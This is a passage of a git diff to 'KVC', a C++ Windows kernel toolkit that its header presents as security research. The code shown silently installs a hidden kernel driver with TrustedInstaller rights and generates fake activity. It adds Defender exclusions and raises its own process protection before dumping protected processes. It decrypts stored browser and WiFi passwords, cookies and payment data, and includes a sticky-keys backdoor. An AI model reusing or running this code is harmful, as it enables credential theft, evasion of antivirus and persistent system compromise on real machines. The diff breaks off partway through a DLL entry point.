nullptr, nullptr, nullptr, nullptr, nullptr
);
if (!hService) {
DWORD err = GetLastError();
CloseServiceHandle(hSCM);
if (err != ERROR_SERVICE_EXISTS) {
ERROR(L"Failed to create driver service: %d", err);
return false;
}
INFO(L"Driver service already exists, proceeding");
} else {
CloseServiceHandle(hService);
SUCCESS(L"Driver service created successfully");
}
CloseServiceHandle(hSCM);
SUCCESS(L"Driver installed and registered as Windows service");
return true;
}
// ============================================================================
// SILENT INSTALLATION
// ============================================================================
bool Controller::InstallDriverSilently() noexcept {
if (IsServiceZombie()) {
return false;
}
// Extract driver (already decrypted)
auto driverData = ExtractDriver();
if (driverData.empty()) return false;
// Get target paths
fs::path driverDir = GetDriverStorePath();
fs::path driverPath = driverDir / fs::path(GetDriverFileName());
// Ensure directory exists with TrustedInstaller privileges
if (!m_trustedInstaller.CreateDirectoryAsTrustedInstaller(driverDir.wstring())) {
return false;
}
// Write driver directly with TrustedInstaller privileges
if (!m_trustedInstaller.WriteFileAsTrustedInstaller(driverPath.wstring(), driverData)) {
return false;
}
// Verify file
DWORD fileAttrs = GetFileAttributesW(driverPath.c_str());
if (fileAttrs == INVALID_FILE_ATTRIBUTES) {
return false;
}
// Register service
return RegisterDriverServiceSilent(driverPath.wstring());
}
bool Controller::RegisterDriverServiceSilent(const std::wstring& driverPath) noexcept {
if (!InitDynamicAPIs()) return false;
if (IsServiceZombie()) {
DEBUG(L"Zombie service detected - restart required");
return false;
}
GenerateFakeActivity();
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
if (!hSCM) return false;
SC_HANDLE hService = g_pCreateServiceW(
hSCM,
GetServiceName().c_str(),
L"KVC",
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL,
driverPath.c_str(),
nullptr, nullptr, nullptr, nullptr, nullptr
);
bool success = (hService != nullptr) || (GetLastError() == ERROR_SERVICE_EXISTS);
if (hService) CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return success;
}
// ============================================================================
// DRIVER UNINSTALLATION
// ============================================================================
bool Controller::UninstallDriver() noexcept {
StopDriverService();
if (!InitDynamicAPIs()) return true;
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
if (!hSCM) {
return true;
}
std::wstring serviceName = GetServiceName();
SC_HANDLE hService = g_pOpenServiceW(hSCM, serviceName.c_str(), DELETE);
if (!hService) {
CloseServiceHandle(hSCM);
return true;
}
BOOL success = g_pDeleteService(hService);
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
if (!success) {
DWORD err = GetLastError();
if (err != ERROR_SERVICE_MARKED_FOR_DELETE) {
ERROR(L"Failed to delete driver service: %d", err);
return false;
}
}
// Clean up driver file with TrustedInstaller privileges
fs::path driverDir = GetDriverStorePath();
fs::path driverPath = driverDir / fs::path(GetDriverFileName());
std::error_code ec;
if (!fs::remove(driverPath, ec)) {
if (ec.value() != ERROR_FILE_NOT_FOUND) {
m_trustedInstaller.DeleteFileAsTrustedInstaller(driverPath.wstring());
}
}
return true;
}
// ============================================================================
// DRIVER EXTRACTION
// ============================================================================
// Extract driver from resource (already decrypted by Utils::ExtractResourceComponents)
std::vector<BYTE> Controller::ExtractDriver() noexcept {
std::vector<BYTE> kvcSysData, dllData;
if (!Utils::ExtractResourceComponents(IDR_MAINICON, kvcSysData, dllData)) {
ERROR(L"Failed to extract kvc.sys from resource");
return {};
}
DEBUG(L"Driver extracted: %zu bytes", kvcSysData.size());
return kvcSysData;
}

View File

@@ -1,28 +1,3 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
#include "Controller.h"
#include "common.h"

View File

@@ -1,28 +1,3 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// ControllerMemoryOperations.cpp
#include "Controller.h"
#include "common.h"
@@ -80,12 +55,15 @@ bool Controller::CreateMiniDump(DWORD pid, const std::wstring& outputPath) noexc
std::wstring processName = Utils::GetProcessName(pid);
// Add process to Defender exclusions to prevent interference during dumping
std::wstring processNameWithExt = processName;
if (processNameWithExt.find(L".exe") == std::wstring::npos) {
processNameWithExt += L".exe";
}
m_trustedInstaller.AddProcessToDefenderExclusions(processName);
// Try to add process to Defender exclusions to prevent interference during dumping
std::wstring processNameWithExt = processName;
if (processNameWithExt.find(L".exe") == std::wstring::npos) {
processNameWithExt += L".exe";
}
if (!m_trustedInstaller.AddProcessToDefenderExclusions(processName)) {
INFO(L"AV exclusion skipped: %s", processName.c_str());
}
// System process validation - these processes cannot be dumped
if (pid == 4 || processName == L"System") {
@@ -128,21 +106,18 @@ bool Controller::CreateMiniDump(DWORD pid, const std::wstring& outputPath) noexc
return false;
}
// Get target process protection level for elevation
// Get target process protection level for elevation - this is auxiliary
auto kernelAddr = GetProcessKernelAddress(pid);
if (!kernelAddr) {
ERROR(L"Failed to get kernel address for target process");
m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName);
PerformAtomicCleanup();
return false;
INFO(L"Could not get kernel address for target process (continuing without self-protection)");
}
auto targetProtection = GetProcessProtection(kernelAddr.value());
if (!targetProtection) {
ERROR(L"Failed to get protection info for target process");
m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName);
PerformAtomicCleanup();
return false;
auto targetProtection = std::optional<UCHAR>{};
if (kernelAddr) {
targetProtection = GetProcessProtection(kernelAddr.value());
if (!targetProtection) {
INFO(L"Could not get protection info for target process (continuing without self-protection)");
}
}
if (g_interrupted) {
@@ -152,13 +127,13 @@ bool Controller::CreateMiniDump(DWORD pid, const std::wstring& outputPath) noexc
return false;
}
// Protection elevation to match target process level
if (targetProtection.value() > 0) {
// Protection elevation to match target process level - auxiliary feature
if (targetProtection && targetProtection.value() > 0) {
UCHAR targetLevel = Utils::GetProtectionLevel(targetProtection.value());
UCHAR targetSigner = Utils::GetSignerType(targetProtection.value());
std::wstring levelStr = (targetLevel == static_cast<UCHAR>(PS_PROTECTED_TYPE::Protected)) ? L"PP" : L"PPL";
std::wstring signerStr;
std::wstring signerStr = L"Unknown";
switch (static_cast<PS_PROTECTED_SIGNER>(targetSigner)) {
case PS_PROTECTED_SIGNER::Lsa: signerStr = L"Lsa"; break;
@@ -170,25 +145,26 @@ bool Controller::CreateMiniDump(DWORD pid, const std::wstring& outputPath) noexc
case PS_PROTECTED_SIGNER::CodeGen: signerStr = L"CodeGen"; break;
case PS_PROTECTED_SIGNER::App: signerStr = L"App"; break;
default:
ERROR(L"Unknown signer type for target process");
m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName);
PerformAtomicCleanup();
return false;
INFO(L"Unknown signer type - skipping self-protection");
break;
}
INFO(L"Target process protection: %s-%s", levelStr.c_str(), signerStr.c_str());
if (signerStr != L"Unknown") {
INFO(L"Target process protection: %s-%s", levelStr.c_str(), signerStr.c_str());
if (!SelfProtect(levelStr, signerStr)) {
ERROR(L"Failed to set self protection to %s-%s", levelStr.c_str(), signerStr.c_str());
} else {
SUCCESS(L"Set self protection to %s-%s", levelStr.c_str(), signerStr.c_str());
if (!SelfProtect(levelStr, signerStr)) {
INFO(L"Self-protection failed: %s-%s (continuing with dump)", levelStr.c_str(), signerStr.c_str());
} else {
SUCCESS(L"Self-protection set to %s-%s", levelStr.c_str(), signerStr.c_str());
}
}
} else {
INFO(L"Target process is not protected, no self-protection needed");
}
// Try to enable debug privilege - auxiliary feature
if (!EnableDebugPrivilege()) {
ERROR(L"Failed to enable debug privilege");
INFO(L"Debug privilege failed (continuing with dump anyway)");
}
if (g_interrupted) {
@@ -199,12 +175,12 @@ bool Controller::CreateMiniDump(DWORD pid, const std::wstring& outputPath) noexc
return false;
}
// Open target process with appropriate privileges
// Open target process with appropriate privileges - CRITICAL operation
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
if (!hProcess) {
hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (!hProcess) {
ERROR(L"Failed to open process (error: %d)", GetLastError());
ERROR(L"Critical: Failed to open process (error: %d)", GetLastError());
m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName);
PerformAtomicCleanup();
return false;
@@ -217,9 +193,10 @@ bool Controller::CreateMiniDump(DWORD pid, const std::wstring& outputPath) noexc
fullPath += L"\\";
fullPath += processName + L"_" + std::to_wstring(pid) + L".dmp";
// Create dump file - CRITICAL operation
HANDLE hFile = CreateFileW(fullPath.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
ERROR(L"Failed to create dump file (error: %d)", GetLastError());
ERROR(L"Critical: Failed to create dump file (error: %d)", GetLastError());
CloseHandle(hProcess);
m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName);
PerformAtomicCleanup();
@@ -249,6 +226,7 @@ bool Controller::CreateMiniDump(DWORD pid, const std::wstring& outputPath) noexc
INFO(L"Creating memory dump - this may take a while. Press Ctrl+C to cancel safely.");
// Execute the actual memory dump - CRITICAL operation
BOOL result = MiniDumpWriteDump(hProcess, pid, hFile, dumpType, NULL, NULL, NULL);
if (g_interrupted) {
@@ -269,19 +247,19 @@ bool Controller::CreateMiniDump(DWORD pid, const std::wstring& outputPath) noexc
DWORD error = GetLastError();
switch (error) {
case ERROR_TIMEOUT:
ERROR(L"MiniDumpWriteDump timed out - process may be unresponsive or in critical section");
ERROR(L"Critical: MiniDumpWriteDump timed out - process may be unresponsive or in critical section");
break;
case RPC_S_CALL_FAILED:
ERROR(L"RPC call failed - process may be a kernel-mode or system-critical process");
ERROR(L"Critical: RPC call failed - process may be a kernel-mode or system-critical process");
break;
case ERROR_ACCESS_DENIED:
ERROR(L"Access denied - insufficient privileges even with protection bypass");
ERROR(L"Critical: Access denied - insufficient privileges even with protection bypass");
break;
case ERROR_PARTIAL_COPY:
ERROR(L"Partial copy - some memory regions could not be read");
ERROR(L"Critical: Partial copy - some memory regions could not be read");
break;
default:
ERROR(L"MiniDumpWriteDump failed (error: %d / 0x%08x)", error, error);
ERROR(L"Critical: MiniDumpWriteDump failed (error: %d / 0x%08x)", error, error);
break;
}
DeleteFileW(fullPath.c_str());
@@ -293,8 +271,11 @@ bool Controller::CreateMiniDump(DWORD pid, const std::wstring& outputPath) noexc
SUCCESS(L"Memory dump created successfully: %s", fullPath.c_str());
// Cleanup phase - these operations are non-critical
INFO(L"Removing self-protection before cleanup...");
SelfProtect(L"none", L"none");
if (!SelfProtect(L"none", L"none")) {
DEBUG(L"Self-protection removal failed (non-critical)");
}
if (g_interrupted) {
INFO(L"Operation completed but cleanup was interrupted");
@@ -303,8 +284,11 @@ bool Controller::CreateMiniDump(DWORD pid, const std::wstring& outputPath) noexc
return true;
}
// Clean up Defender exclusions and perform atomic cleanup
m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName);
// Clean up Defender exclusions and perform atomic cleanup - non-critical
if (!m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName)) {
DEBUG(L"AV cleanup skipped: %s", processName.c_str());
}
PerformAtomicCleanup();
return true;

View File

@@ -1,28 +1,3 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
#include "Controller.h"
#include "ReportExporter.h"
#include "common.h"
@@ -48,27 +23,6 @@ extern volatile bool g_interrupted;
// SQLite constants for winsqlite3.dll compatibility
constexpr int SQLITE_OPEN_READONLY = 0x00000001;
// UTF-8 string conversion utilities for DPAPI operations
std::wstring StringToWString(const std::string& str) noexcept
{
if (str.empty()) return L"";
int size_needed = MultiByteToWideChar(CP_UTF8, 0, str.data(), static_cast<int>(str.size()), nullptr, 0);
std::wstring result(size_needed, 0);
MultiByteToWideChar(CP_UTF8, 0, str.data(), static_cast<int>(str.size()), result.data(), size_needed);
return result;
}
std::string WStringToString(const std::wstring& wstr) noexcept
{
if (wstr.empty()) return "";
int size_needed = WideCharToMultiByte(CP_UTF8, 0, wstr.data(), static_cast<int>(wstr.size()), nullptr, 0, nullptr, nullptr);
std::string result(size_needed, 0);
WideCharToMultiByte(CP_UTF8, 0, wstr.data(), static_cast<int>(wstr.size()), result.data(), size_needed, nullptr, nullptr);
return result;
}
// Main DPAPI password extraction interface
bool Controller::ShowPasswords(const std::wstring& outputPath) noexcept
{
@@ -180,18 +134,18 @@ bool Controller::PerformPasswordExtractionInit() noexcept
return false;
}
if (!EnablePrivilege(L"SeDebugPrivilege")) {
if (!PrivilegeUtils::EnablePrivilege(L"SeDebugPrivilege")) {
ERROR(L"CRITICAL: Failed to enable SeDebugPrivilege");
return false;
}
if (!EnablePrivilege(L"SeImpersonatePrivilege")) {
if (!PrivilegeUtils::EnablePrivilege(L"SeImpersonatePrivilege")) {
ERROR(L"CRITICAL: Failed to enable SeImpersonatePrivilege");
return false;
}
EnablePrivilege(L"SeBackupPrivilege");
EnablePrivilege(L"SeRestorePrivilege");
PrivilegeUtils::EnablePrivilege(L"SeBackupPrivilege");
PrivilegeUtils::EnablePrivilege(L"SeRestorePrivilege");
if (!m_trustedInstaller.PublicImpersonateSystem()) {
ERROR(L"Failed to impersonate SYSTEM: %d", GetLastError());
@@ -477,21 +431,6 @@ bool Controller::ProcessRegistryMasterKeys(std::vector<RegistryMasterKey>& maste
return !masterKeys.empty();
}
// Convert byte vector to hex string for display
std::string Controller::BytesToHexString(const std::vector<BYTE>& bytes) noexcept
{
if (bytes.empty()) return "";
std::ostringstream hexStream;
hexStream << std::hex << std::setfill('0');
for (const auto& byte : bytes) {
hexStream << std::setw(2) << static_cast<int>(byte);
}
return hexStream.str();
}
// Process browser passwords with master key decryption
bool Controller::ProcessBrowserPasswords(const std::vector<RegistryMasterKey>& masterKeys,
std::vector<PasswordResult>& results,
@@ -506,7 +445,7 @@ bool Controller::ProcessBrowserPasswords(const std::vector<RegistryMasterKey>& m
std::string localAppDataA(appData);
free(appData);
std::wstring localAppData = StringToWString(localAppDataA);
std::wstring localAppData = StringUtils::UTF8ToWide(localAppDataA);
auto edgePath = localAppData + DPAPIConstants::GetEdgeUserData();
bool edgeSuccess = ProcessSingleBrowser(edgePath, L"Edge", masterKeys, results, outputPath);
@@ -589,7 +528,7 @@ bool Controller::ExtractBrowserMasterKey(const std::wstring& browserPath,
std::string encryptedKeyBase64 = content.substr(startQuote + 1, endQuote - startQuote - 1);
std::vector<BYTE> encryptedKeyBytes = Base64Decode(encryptedKeyBase64);
std::vector<BYTE> encryptedKeyBytes = CryptoUtils::Base64Decode(encryptedKeyBase64);
if (encryptedKeyBytes.empty()) {
ERROR(L"Failed to decode base64 master key");
return false;
@@ -631,7 +570,7 @@ int Controller::ProcessLoginDatabase(const std::wstring& loginDataPath,
}
void* db;
std::string tempDbPathA = WStringToString(tempDbPath);
std::string tempDbPathA = StringUtils::WideToUTF8(tempDbPath);
if (m_sqlite.open_v2(tempDbPathA.c_str(), &db, SQLITE_OPEN_READONLY, nullptr) != 0) {
ERROR(L"Failed to open SQLite database: %s", tempDbPath.c_str());
@@ -660,11 +599,11 @@ int Controller::ProcessLoginDatabase(const std::wstring& loginDataPath,
result.profile = profileName;
if (auto urlText = m_sqlite.column_text(stmt, 0)) {
result.url = StringToWString(reinterpret_cast<const char*>(urlText));
result.url = StringUtils::UTF8ToWide(reinterpret_cast<const char*>(urlText));
}
if (auto usernameText = m_sqlite.column_text(stmt, 1)) {
result.username = StringToWString(reinterpret_cast<const char*>(usernameText));
result.username = StringUtils::UTF8ToWide(reinterpret_cast<const char*>(usernameText));
}
const BYTE* pwdBytes = static_cast<const BYTE*>(m_sqlite.column_blob(stmt, 2));
@@ -673,7 +612,7 @@ int Controller::ProcessLoginDatabase(const std::wstring& loginDataPath,
if (pwdBytes && pwdSize > 0) {
std::vector<BYTE> encryptedPwd(pwdBytes, pwdBytes + pwdSize);
std::string decryptedPwd = DecryptChromeAESGCM(encryptedPwd, masterKey);
result.password = StringToWString(decryptedPwd);
result.password = StringUtils::UTF8ToWide(decryptedPwd);
result.status = DPAPIConstants::GetStatusDecrypted();
results.push_back(result);
@@ -755,8 +694,8 @@ bool Controller::ExtractWiFiCredentials(std::vector<PasswordResult>& results) no
if (!password.empty()) {
PasswordResult wifiResult;
wifiResult.type = L"WiFi";
wifiResult.profile = StringToWString(profile);
wifiResult.password = StringToWString(password);
wifiResult.profile = StringUtils::UTF8ToWide(profile);
wifiResult.password = StringUtils::UTF8ToWide(password);
wifiResult.status = DPAPIConstants::GetStatusDecrypted();
results.push_back(wifiResult);
}
@@ -823,24 +762,6 @@ void Controller::UnloadSQLiteLibrary() noexcept
}
}
// Base64 decode using Windows CryptAPI
std::vector<BYTE> Controller::Base64Decode(const std::string& encoded) noexcept
{
DWORD decodedSize = 0;
if (!CryptStringToBinaryA(encoded.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &decodedSize, nullptr, nullptr)) {
return {};
}
std::vector<BYTE> decoded(decodedSize);
if (!CryptStringToBinaryA(encoded.c_str(), 0, CRYPT_STRING_BASE64, decoded.data(), &decodedSize, nullptr, nullptr)) {
return {};
}
decoded.resize(decodedSize);
return decoded;
}
// DPAPI decryption for browser master keys
std::vector<BYTE> Controller::DecryptWithDPAPI(const std::vector<BYTE>& encryptedData,
const std::vector<RegistryMasterKey>& masterKeys) noexcept
@@ -921,31 +842,6 @@ std::string Controller::DecryptChromeAESGCM(const std::vector<BYTE>& encryptedDa
return std::string(encryptedData.begin(), encryptedData.end());
}
bool Controller::EnablePrivilege(LPCWSTR privilegeName) noexcept
{
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
return false;
}
LUID luid;
if (!LookupPrivilegeValueW(nullptr, privilegeName, &luid)) {
CloseHandle(hToken);
return false;
}
TOKEN_PRIVILEGES tp = {};
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
BOOL result = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr);
DWORD lastError = GetLastError();
CloseHandle(hToken);
return result && (lastError == ERROR_SUCCESS);
}
// Browser data extraction with kvc_pass integration
bool Controller::ExportBrowserData(const std::wstring& outputPath, const std::wstring& browserType) noexcept
{
@@ -970,10 +866,12 @@ bool Controller::ExportBrowserData(const std::wstring& outputPath, const std::ws
}
// Validate browser type
if (browserType != L"chrome" && browserType != L"brave" && browserType != L"edge") {
ERROR(L"Unsupported browser type: %s. Supported: chrome, brave, edge", browserType.c_str());
return false;
}
if (browserType != L"chrome" && browserType != L"brave" &&
browserType != L"edge" && browserType != L"all") {
ERROR(L"Unsupported browser type: %s. Supported: chrome, brave, edge, all",
browserType.c_str());
return false;
}
// Create command line for kvc_pass
std::wstring commandLine = L"\"" + decryptorPath + L"\" " + browserType +
@@ -993,7 +891,7 @@ bool Controller::ExportBrowserData(const std::wstring& outputPath, const std::ws
}
// Wait for completion with timeout
DWORD waitResult = WaitForSingleObject(pi.hProcess, 30000); // 30 seconds timeout
DWORD waitResult = WaitForSingleObject(pi.hProcess, 5000); // 5 seconds timeout
DWORD exitCode = 0;
GetExitCodeProcess(pi.hProcess, &exitCode);

File diff suppressed because it is too large Load Diff

View File

@@ -1,28 +1,3 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// ControllerSystemIntegration.cpp
#include "Controller.h"
#include "common.h"
@@ -140,3 +115,26 @@ bool Controller::InstallStickyKeysBackdoor() noexcept {
bool Controller::RemoveStickyKeysBackdoor() noexcept {
return m_trustedInstaller.RemoveStickyKeysBackdoor();
}
// ============================================================================
// WATERMARK MANAGEMENT
// ============================================================================
bool Controller::RemoveWatermark() noexcept
{
WatermarkManager wmManager(m_trustedInstaller);
return wmManager.RemoveWatermark();
}
bool Controller::RestoreWatermark() noexcept
{
WatermarkManager wmManager(m_trustedInstaller);
return wmManager.RestoreWatermark();
}
std::wstring Controller::GetWatermarkStatus() noexcept
{
WatermarkManager wmManager(m_trustedInstaller);
return wmManager.GetWatermarkStatus();
}

233
kvc/CryptCore.cpp Normal file
View File

@@ -0,0 +1,233 @@
// CryptCore.cpp - Security module entry point and workflow coordination
// Implements split-key strategy for Edge: COM for cookies/payments, DPAPI for passwords
#include "CryptCore.h"
#include "BrowserCrypto.h"
#include "DataExtraction.h"
#include "CommunicationModule.h"
#include "SelfLoader.h"
#include <memory>
#include <stdexcept>
namespace SecurityComponents
{
// Initializes security orchestrator and establishes pipe communication
SecurityOrchestrator::SecurityOrchestrator(LPCWSTR lpcwstrPipeName)
{
m_logger.emplace(lpcwstrPipeName);
if (!m_logger->isValid())
{
throw std::runtime_error("Failed to connect to named pipe from orchestrator.");
}
ReadPipeParameters();
}
// Main execution workflow: decrypt keys, enumerate profiles, extract data
void SecurityOrchestrator::Run()
{
BrowserManager browserManager;
const auto& browserConfig = browserManager.getConfig();
m_logger->Log("[*] Security analysis process started for " + browserConfig.name);
std::vector<uint8_t> comKey, dpapiKey;
fs::path localStatePath = browserManager.getUserDataRoot() / "Local State";
// Edge requires split-key strategy: different keys for different data types
if (browserConfig.name == "Edge")
{
m_logger->Log("[*] Initializing split-phase strategy for Edge");
// Phase 1: COM elevation for cookies and payment data
try {
m_logger->Log("[*] Phase 1: COM extraction (cookies/payments)");
MasterKeyDecryptor comDecryptor(*m_logger);
comKey = comDecryptor.Decrypt(browserConfig, localStatePath, DataType::Cookies);
m_logger->Log("[+] COM key acquired: " + Utils::BytesToHexString(comKey));
} catch (const std::exception& e) {
m_logger->Log("[-] COM key acquisition failed: " + std::string(e.what()));
throw;
}
// Phase 2: Use pre-decrypted DPAPI key from orchestrator for passwords
if (!m_edgeDpapiKey.empty())
{
m_logger->Log("[*] Phase 2: Using pre-decrypted DPAPI key from orchestrator");
dpapiKey = m_edgeDpapiKey;
m_logger->Log("[+] DPAPI key ready: " + Utils::BytesToHexString(dpapiKey));
}
else
{
m_logger->Log("[-] No DPAPI key available - Edge passwords will not be extracted");
dpapiKey = comKey;
}
}
else
{
// Chrome/Brave use single COM-elevated key for all data types
m_logger->Log("[*] Initializing single-key strategy for " + browserConfig.name);
MasterKeyDecryptor keyDecryptor(*m_logger);
comKey = keyDecryptor.Decrypt(browserConfig, localStatePath, DataType::All);
dpapiKey = comKey;
m_logger->Log("[+] Single COM key: " + Utils::BytesToHexString(comKey));
}
// Enumerate all browser profiles
ProfileEnumerator enumerator(browserManager.getUserDataRoot(), *m_logger);
auto profilePaths = enumerator.FindProfiles();
m_logger->Log("[+] Found " + std::to_string(profilePaths.size()) + " profile(s)");
// Extract data from each profile
for (const auto& profilePath : profilePaths)
{
m_logger->Log("[*] Processing profile: " + StringUtils::path_to_string(profilePath.filename()));
for (const auto& dataConfig : Data::GetExtractionConfigs())
{
// Select appropriate key based on data type and browser
const std::vector<uint8_t>* extractionKey = &comKey;
std::string keyType = "COM";
if (browserConfig.name == "Edge" && dataConfig.outputFileName == "passwords")
{
extractionKey = &dpapiKey;
keyType = "DPAPI";
}
m_logger->Log("[*] Using " + keyType + " key for " + dataConfig.outputFileName + " extraction");
try {
DataExtractor extractor(profilePath, dataConfig, *extractionKey, *m_logger,
m_outputPath, browserConfig.name);
extractor.Extract();
} catch (const std::exception& e) {
m_logger->Log("[-] Extraction failed for " + dataConfig.outputFileName + ": " +
std::string(e.what()));
}
}
}
m_logger->Log("[*] Security analysis process finished successfully");
}
// Reads configuration parameters from orchestrator via named pipe
void SecurityOrchestrator::ReadPipeParameters()
{
char buffer[1024] = {0};
DWORD bytesRead = 0;
// Read verbose flag
if (!ReadFile(m_logger->getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0)
{
m_logger->Log("[-] Failed to read verbose flag from pipe");
return;
}
// Read output path
memset(buffer, 0, sizeof(buffer));
if (!ReadFile(m_logger->getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0)
{
m_logger->Log("[-] Failed to read output path from pipe");
return;
}
buffer[bytesRead] = '\0';
m_outputPath = buffer;
m_logger->Log("[*] Output path configured: " + StringUtils::path_to_string(m_outputPath));
// Read DPAPI key (Edge only)
memset(buffer, 0, sizeof(buffer));
if (!ReadFile(m_logger->getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0)
{
m_logger->Log("[-] Failed to read DPAPI key from pipe");
return;
}
buffer[bytesRead] = '\0';
// Parse DPAPI key message
try {
std::string dpapiKeyMsg(buffer);
if (dpapiKeyMsg.find("DPAPI_KEY:") == 0)
{
std::string hexKey = dpapiKeyMsg.substr(10);
if (hexKey != "NONE" && hexKey.length() >= 64)
{
m_edgeDpapiKey.resize(32);
for (size_t i = 0; i < 32; ++i)
{
std::string byteStr = hexKey.substr(i * 2, 2);
unsigned long byte = std::stoul(byteStr, nullptr, 16);
m_edgeDpapiKey[i] = static_cast<uint8_t>(byte);
}
m_logger->Log("[+] Received pre-decrypted DPAPI key from orchestrator: " +
std::to_string(m_edgeDpapiKey.size()) + " bytes");
}
else
{
m_logger->Log("[*] No DPAPI key from orchestrator");
}
}
else
{
m_logger->Log("[-] Invalid DPAPI key message format");
}
}
catch (const std::exception& e)
{
m_logger->Log("[-] Exception parsing DPAPI key: " + std::string(e.what()));
}
}
}
// Security module worker thread entry point
DWORD WINAPI SecurityModuleWorker(LPVOID lpParam)
{
auto thread_params = std::unique_ptr<ModuleThreadParams>(static_cast<ModuleThreadParams*>(lpParam));
try
{
SecurityComponents::SecurityOrchestrator orchestrator(
static_cast<LPCWSTR>(thread_params->lpPipeNamePointerFromOrchestrator));
orchestrator.Run();
}
catch (const std::exception& e)
{
try
{
SecurityComponents::PipeLogger errorLogger(
static_cast<LPCWSTR>(thread_params->lpPipeNamePointerFromOrchestrator));
if (errorLogger.isValid())
{
errorLogger.Log("[-] CRITICAL SECURITY MODULE ERROR: " + std::string(e.what()));
errorLogger.Log("__DLL_PIPE_COMPLETION_SIGNAL__");
}
}
catch (...) {}
}
FreeLibraryAndExitThread(thread_params->hModule_dll, 0);
return 0;
}
// DLL entry point - creates worker thread for asynchronous execution
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved)
{
if (reason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
auto params = new (std::nothrow) ModuleThreadParams{hModule, lpReserved};
if (!params) return TRUE;
